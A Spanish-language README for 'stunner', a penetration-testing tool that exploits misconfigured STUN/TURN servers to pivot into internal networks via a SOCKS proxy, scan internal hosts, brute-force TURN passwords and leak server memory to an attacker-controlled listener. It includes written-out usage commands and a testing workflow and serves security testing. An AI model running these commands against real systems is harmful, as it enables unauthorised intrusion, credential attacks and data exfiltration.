firefart/stunnerProbar y explotar servidores STUN/TURN por configuraciones incorrectas, permitiendo el pivoteo de red interna a través de proxy SOCKS, ataques de fuga de memoria y escaneo de puertos internos.
Stunner es una herramienta para probar y explotar servidores STUN, TURN y TURN sobre TCP. TURN es un protocolo usado principalmente en videoconferencias y chats de audio (WebRTC).
Si encuentras un servidor mal configurado, puedes usar esta herramienta para abrir un proxy socks local que retransmite todo el tráfico a través del protocolo TURN hacia la red interna detrás del servidor.
Desarrollé esta herramienta durante una prueba de Cisco Expressway que resultó en varias vulnerabilidades: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
Para obtener el nombre de usuario y contraseña requeridos, debes obtenerlos usando un método fuera de banda como capturar la solicitud Connect desde un navegador web con Burp. Agregué un flujo de trabajo de ejemplo al final del readme sobre cómo probarías dicho servidor.
Este trabajo está licenciado bajo la Licencia Creative Commons Atribución-NoComercial-CompartirIgual 4.0 Internacional. Para ver una copia de esta licencia, visita http://creativecommons.org/licenses/by-nc-sa/4.0/ o envía una carta a Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
STUN: RFC 5389
TURN: RFC 5766
TURN for TCP: RFC 6062
TURN Extension for IPv6: RFC 6156
Este comando imprimirá información sobre el servidor stun o turn, como los protocolos soportados y atributos como el software utilizado.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
Este comando prueba varios rangos privados y restringidos para ver si el servidor TURN está configurado para permitir conexiones a las direcciones IP especificadas. Si un rango específico no está prohibido, puedes enumerar este rango más a fondo con los otros comandos proporcionados. Si una IP es alcanzable, significa que el servidor TURN reenviará tráfico a esa IP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
Conexión TURN basada en TCP (conexión desde ti al servidor TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
Conexión TURN basada en UDP (conexión desde ti al servidor TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
Este es uno de los comandos más útiles para servidores TURN que admiten conexiones TCP a servidores backend. Iniciará un servidor socks5 local sin autenticación y retransmitirá todo el tráfico TCP a través del protocolo TURN (UDP vía SOCKS actualmente no es compatible). Si el servidor está mal configurado, reenviará el tráfico a direcciones internas, por lo que esto puede usarse para alcanzar sistemas internos y abusar del servidor como proxy hacia la red interna. Si eliges también realizar consultas DNS a través de socks, se resolverán usando tu servidor de nombres local, por lo que es mejor trabajar con direcciones IPv4 e IPv6 privadas. Ten en cuenta que este módulo solo puede retransmitir tráfico TCP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
Después de iniciar el proxy, abre tu navegador, apunta el proxy en tu configuración a socks5 con una IP de 127.0.0.1:1080 (asegúrate de no activar la opción de omitir direcciones locales, ya que queremos alcanzar las direcciones locales remotas) y llama a la IP de tu elección en el navegador.
Ejemplo: https://127.0.0.1, https://127.0.0.1:8443 o https://[::1]:8443 (estos llamarán a los puertos en el servidor TURN probado desde las interfaces locales).
También puedes configurar proxychains para usar este proxy (pero será muy lento, ya que cada solicitud resulta en múltiples solicitudes para habilitar el proxy). Solo edita /etc/proxychains.conf e ingresa el valor socks5 127.0.0.1 1080 bajo ProxyList.
Ejemplo de nmap a través de este proxy socks5 con proxychains configurado correctamente (nota que es -sT para hacer TCP syns, de lo contrario no usará el proxy socks5)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
Esto probablemente no arrojará información utilizable, pero puede ser útil para enumerar todos los transportes disponibles (=protocolos hacia sistemas internos) soportados por el servidor. Esto podría mostrar algunas implementaciones de protocolo personalizadas, pero en su mayoría solo devolverá los valores predeterminados.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
Este comando prueba todas las contraseñas de un archivo dado para un nombre de usuario a través del protocolo TURN (UDP). Esto puede ser útil al analizar un pcap donde se ve el nombre de usuario pero no la contraseña. Ten en cuenta que un ataque de fuerza bruta offline es mucho más rápido en este caso.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
Este ataque funciona de la siguiente manera:
El servidor toma los datos a enviar al target (debe ser un puerto alto > 1024 en la mayoría de los casos) como un TLV (Tipo-Longitud-Valor). Este exploit utiliza una longitud grande con un valor corto. Si el servidor no verifica los límites del TLV, podría enviarte algo de memoria hasta la length al target. Cisco Expressway fue confirmado vulnerable a esto, pero según cisco solo filtraba memoria de la sesión actual.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
Para recibir los datos, necesitamos configurar un receptor en un servidor con una IP pública. Normalmente los cortafuegos están configurados para permitir solo puertos altos (>1024) desde servidores TURN, así que asegúrate de usar un puerto alto como 8080 en este ejemplo al conectarte saliendo a internet.
sudo nc -u -l -n -v -p 8080 | hexdump -C
luego ejecuta la siguiente instrucción en tu máquina agregando la IP pública al parámetro t
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
Si funciona, deberías ver grandes cantidades de memoria entrando; de lo contrario, solo verás mensajes cortos.
Si un servidor TURN permite conexiones UDP a destinos internos, este escáner puede usarse para escanear todos los rangos de IP privadas y enviarles solicitudes SNMP y DNS. Como esto verifica muchas IPs, puede tardar varios días en completarse, así que úsalo con precaución o especifica objetivos más pequeños mediante los parámetros. Necesitas proporcionar una cadena de comunidad SNMP que se probará y un nombre de dominio que se resolverá en cada IP. Para el nombre de dominio puedes usar, por ejemplo, burp collaborator.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
Igual que udp-scanner pero envía solicitudes HTTP a los puertos especificados (HTTPS no es compatible)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
Supongamos que encuentras un servicio que usa WebRTC y quieres probarlo.
El primer paso es obtener los datos requeridos. Sugiero iniciar Wireshark en segundo plano y simplemente unirte a una reunión a través de Burp para recopilar todo el tráfico HTTP y WebSocket. Luego busca en tu historial de Burp algunas palabras clave relacionadas con TURN como 3478, password, credential y username (asegúrate de también revisar la pestaña de websocket para estas palabras clave). Esto podría revelar el servidor turn y el protocolo (los endpoints UDP y TCP pueden tener diferentes puertos) y las credenciales usadas para conectar. Si no encuentras los datos en Burp, empieza a mirar en Wireshark para identificar el tráfico. Si está en un puerto no estándar (cualquier otro que no sea 3478), decodifica el protocolo en Wireshark mediante clic derecho como STUN. Esto debería mostrarte el nombre de usuario usado para conectar, y puedes usar esta información para buscar aún más en el historial de Burp los datos requeridos. Ten en cuenta que Wireshark no puede mostrarte la contraseña, ya que la contraseña se usa para hacer hash de algunos contenidos de paquetes, por lo que no se puede revertir.
El siguiente paso sería emitir el comando info al servidor turn usando el puerto y protocolo correctos obtenidos de Burp.
Si esto funciona, el siguiente paso es un range-scan. Si esto permite cualquier tráfico a sistemas internos, puedes explotarlo más a fondo, pero ten en cuenta que UDP tiene solo casos de uso limitados.
Si se permiten conexiones TCP a sistemas internos, simplemente lanza el comando socks y accede a las IPs permitidas a través de un navegador configurando el proxy socks a 127.0.0.1:1080. Puedes probar con 127.0.0.1:443 y otras IPs para encontrar interfaces de administración.